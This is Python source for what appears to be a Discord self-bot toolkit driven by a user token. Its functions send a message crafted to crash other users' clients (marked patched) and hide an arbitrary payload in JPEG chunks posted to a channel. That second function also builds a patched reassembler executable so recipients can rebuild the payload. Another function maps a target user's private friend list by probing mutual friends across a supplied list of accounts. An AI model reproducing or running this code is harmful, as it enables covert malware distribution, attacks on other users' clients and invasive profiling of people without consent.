import Client
import threading
import requests
import time
import traceback
import zlib
import os
import uuid
import json
from binascii import hexlify
from math import ceil

def typing(ch_id):
    task = threading.currentThread()
    while getattr(task, 'run', True):
        requests.post(f'https://discord.com/api/v6/channels/{ch_id}/typing', headers={'authorization': Client.Me.token})
        time.sleep(10)

def status_changer():
    task = threading.currentThread()
    st = ['online', 'idle', 'dnd', 'invisible']
    i = 0
    while getattr(task, 'run', True):
        requests.patch('https://discord.com/api/v6/users/@me/settings',
            json = {'status': st[i]}, headers={'authorization': Client.Me.token})
        time.sleep(0.5)
        i += 1
        if i == 4:
            i = 0

def crash_link():
    # PATCHED
    ch_id = input('Channel ID: ')
    msg = 'https://cdn.discordapp.com/attachments/480390212099244042/574629612210880658/Lantern.jpg?Comment=齉'
    msg += ((2000-len(msg)) // 2) * 'L齉'
    r = Client.send_raw_message(ch_id, msg)
    if r.status_code == 200:
        print('Payload sent!')
    else:
        print('Failed to send payload:', r.status_code)
    input()

def reassembly():
    ch_id = input('Channel ID: ')
    img = input('Image [default]: ')
    payload = input('Payload: ')

    if not os.path.isfile(img) or img.lower() == 'default':
        img = 'res\\Payload_17.jpg'
    imgf = open(img, 'rb').read()
    print(f'Image size: {len(imgf)} bytes')

    binf = open(payload, 'rb').read()
    header = uuid.uuid4().hex
    print(f'Payload size: {len(binf)} bytes')
    binf = zlib.compress(binf)
    print(f'Compressed size: {len(binf)} bytes')
    print('Header: ' + header)
    
    chunk_size_max = 1024 * 1024 * 8 - 500
    chunk_size_rel = chunk_size_max - len(imgf)
    chunks = ceil((len(imgf) + len(binf)) / chunk_size_max)
    print(f'Number of chunks:', chunks)
    bpos = 0
    for i in range(chunks):
        npos = bpos + chunk_size_rel
        with open('chunk.jpg', 'wb') as f:
            f.write(imgf)
            f.write(bytes(header, 'utf-8'))
            f.write(bytes(hex(i)[2:].zfill(2), 'utf-8'))
            f.write(binf[bpos:npos])
        bpos = npos
        print(f'Sending chunk {i+1}...')
        r = Client.send_raw_message(ch_id, '', 'chunk.jpg')
        if not r.status_code == 200:
            print('Failed to send chunk', i+1)
            input()
            return

    print('Chunk(s) sent!')
    os.remove('chunk.jpg')

    print('Creating reassembler...')
    with open('res\\LSReassembler.exe', 'rb') as f:
        b = f.read()
    b = b.replace(b'badf00dbadf00dbadf00dbadf00dbadf', bytes(header, 'utf-8'))
    b = b.replace(b'.abcdefg', bytes('.' + payload.split('.')[-1].ljust(7, '/'), 'utf-8'))
    with open(header + '.exe', 'wb') as f:
        f.write(b)
    print(f'Created {header}.exe')
    input()

def friend_list():
    user_id = input('User ID: ')
    fn = input('User list: ')
    if not os.path.isfile(fn):
        print('Invalid user list.')
        input()
        return
    mut = Client.mutual_friends_raw(user_id)
    if mut == None:
        print('Failed to get mutual friends')

    users = set()
    print(f'Found {len(mut)} mutual friends')
    for t in mut:
        users.add(t['id'])
    
    print(f'Scanning supplied user list...')
    with open(fn, 'r') as f:
        tmp = json.loads(f.read())
    
    i = 0
    for t in tmp:
        r = Client.mutual_friends_raw(t)
        if r == None:
            continue
        for u in r:
            if u['id'] == user_id:
                users.add(t)
        i += 1
        pr = i*100 / len(tmp)
        print(f'\t~{pr:.2f}% complete', end='\r')
    print('\nExporing the list...\n')

    o = open(user_id + '.txt', 'wb')
    for u in users:
        print('[', u, '] ', sep='', end='')
        o.write(bytes('[' + u + '] ', 'utf-8'))
        r = Client.user_info_raw(u)
        if r == None:
            print('Unknown#0000')
            o.write(bytes('Unknown#0000\n', 'utf-8'))
            continue
        r = r['user']
        print(r['username'] + '#' + r['discriminator'])
        o.write(bytes(r['username'] + '#' + r['discriminator'] + '\n', 'utf-8'))
    o.close()

    print('\nListing completed.')
    print(len(users), 'friends identified.')
    input()
